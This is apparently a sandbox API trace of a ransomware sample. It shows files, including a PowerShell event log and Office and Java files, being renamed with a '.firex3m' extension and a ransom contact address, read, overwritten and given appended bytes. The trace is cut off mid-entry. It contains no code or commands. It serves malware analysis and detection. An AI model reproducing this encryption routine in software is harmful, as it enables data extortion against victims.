1 [0106.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0106.964] MoveFileW (lpExistingFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), lpNewFileName="C:\\Logs\\Windows PowerShell.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\windows powershell.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0106.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0106.965] FindFirstFileW (in: lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~1.FIR")) returned 0x6d52c0 [0106.965] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0106.965] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\windows powershell.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0106.965] GetProcessHeap () returned 0x630000 [0106.965] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71f0150 [0106.966] GetProcessHeap () returned 0x630000 [0106.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71fb580 [0106.967] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.967] ReadFile (in: hFile=0x694, lpBuffer=0x71f0150, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0150*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.721] GetProcessHeap () returned 0x630000 [0113.721] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0113.722] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.722] WriteFile (in: hFile=0x694, lpBuffer=0x71fb580*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fb580*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.722] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.722] WriteFile (in: hFile=0x694, lpBuffer=0x720697f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720697f*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.722] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.722] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.723] CloseHandle (hObject=0x694) returned 1 [0113.724] GetProcessHeap () returned 0x630000 [0113.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71fb580 | out: hHeap=0x630000) returned 1 [0113.724] GetProcessHeap () returned 0x630000 [0113.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0150 | out: hHeap=0x630000) returned 1 [0113.724] GetProcessHeap () returned 0x630000 [0113.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0113.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.724] FindFirstFileW (in: lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9bad0d9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xc0c7496, dwReserved1=0x71f0148, cFileName="Windows PowerShell.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINDOW~1.FIR")) returned 0x6d5580 [0113.724] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0113.725] Sleep (dwMilliseconds=0x1) [0114.314] Sleep (dwMilliseconds=0x1) [0114.884] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.154] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.563] Sleep (dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.679] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.311] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 1 [0123.312] GetProcessHeap () returned 0x630000 [0123.312] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x180) returned 0x66a3e0 [0123.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0123.341] CloseHandle (hObject=0x6f8) returned 1 [0123.341] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.341] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.342] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APEBB5~1.FIR")) returned 0x6d5400 [0123.342] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0123.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0123.342] GetProcessHeap () returned 0x630000 [0123.342] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x72d0868 [0123.342] GetProcessHeap () returned 0x630000 [0123.342] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x72d0d78 [0123.342] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.342] ReadFile (in: hFile=0x6f8, lpBuffer=0x72d0868, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0868*, lpNumberOfBytesRead=0x323ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.991] GetProcessHeap () returned 0x630000 [0123.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fc69f0 [0123.991] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.991] WriteFile (in: hFile=0x6f8, lpBuffer=0x72d0d78*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0d78*, lpNumberOfBytesWritten=0x323ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.991] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.991] WriteFile (in: hFile=0x6f8, lpBuffer=0x72d1257*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d1257*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.992] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.992] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.992] CloseHandle (hObject=0x6f8) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d0d78 | out: hHeap=0x630000) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d0868 | out: hHeap=0x630000) returned 1 [0124.056] GetProcessHeap () returned 0x630000 [0124.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc69f0 | out: hHeap=0x630000) returned 1 [0124.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xfdb0eb9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xc0c7496, dwReserved1=0x72d0860, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APEBB5~1.FIR")) returned 0x6d54c0 [0124.366] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0124.366] Sleep (dwMilliseconds=0x1) [0124.382] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", len=0x31 | out: pbstr=0x323ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 1 [0124.382] GetProcessHeap () returned 0x630000 [0124.382] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x114) returned 0x66a3e0 [0124.382] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.535] CloseHandle (hObject=0x414) returned 1 [0124.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PLUGIN~1.FIR")) returned 0x6d5200 [0124.537] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.537] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.537] GetProcessHeap () returned 0x630000 [0124.537] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0124.537] GetProcessHeap () returned 0x630000 [0124.537] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0124.537] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.537] ReadFile (in: hFile=0x414, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.793] GetProcessHeap () returned 0x630000 [0127.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0127.794] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.794] WriteFile (in: hFile=0x414, lpBuffer=0x72e9d78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0130.070] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.070] WriteFile (in: hFile=0x414, lpBuffer=0x72f5177*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f5177*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0130.072] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.072] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0130.072] CloseHandle (hObject=0x414) returned 1 [0132.240] GetProcessHeap () returned 0x630000 [0132.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0132.240] GetProcessHeap () returned 0x630000 [0132.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0132.240] GetProcessHeap () returned 0x630000 [0132.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0132.240] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0132.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x14c60d47, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d58af, dwReserved0=0xc0c7496, dwReserved1=0x72de940, cFileName="plugin.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PLUGIN~1.FIR")) returned 0x6d53c0 [0132.240] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0132.240] Sleep (dwMilliseconds=0x1) [0134.290] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF", len=0x44 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 1 [0134.290] GetProcessHeap () returned 0x630000 [0134.290] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a0) returned 0x66a3e0 [0134.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0134.291] CloseHandle (hObject=0x6a8) returned 1 [0134.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.293] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0024~3.FIR")) returned 0x6d5440 [0134.293] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0134.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0134.293] GetProcessHeap () returned 0x630000 [0134.293] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfc1) returned 0x727d80 [0134.293] GetProcessHeap () returned 0x630000 [0134.293] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfc1) returned 0x717930 [0134.293] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.293] ReadFile (in: hFile=0x6a8, lpBuffer=0x727d80, nNumberOfBytesToRead=0xfa0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x323ff0c*=0xfa0, lpOverlapped=0x0) returned 1 [0134.312] GetProcessHeap () returned 0x630000 [0134.312] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0134.312] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.312] WriteFile (in: hFile=0x6a8, lpBuffer=0x717930*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717930*, lpNumberOfBytesWritten=0x323ff0c*=0xfa0, lpOverlapped=0x0) returned 1 [0134.313] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.313] WriteFile (in: hFile=0x6a8, lpBuffer=0x7188cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7188cf*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.313] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.313] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.313] CloseHandle (hObject=0x6a8) returned 1 [0134.314] GetProcessHeap () returned 0x630000 [0134.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717930 | out: hHeap=0x630000) returned 1 [0134.314] GetProcessHeap () returned 0x630000 [0134.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0134.314] GetProcessHeap () returned 0x630000 [0134.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0134.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160150b7, 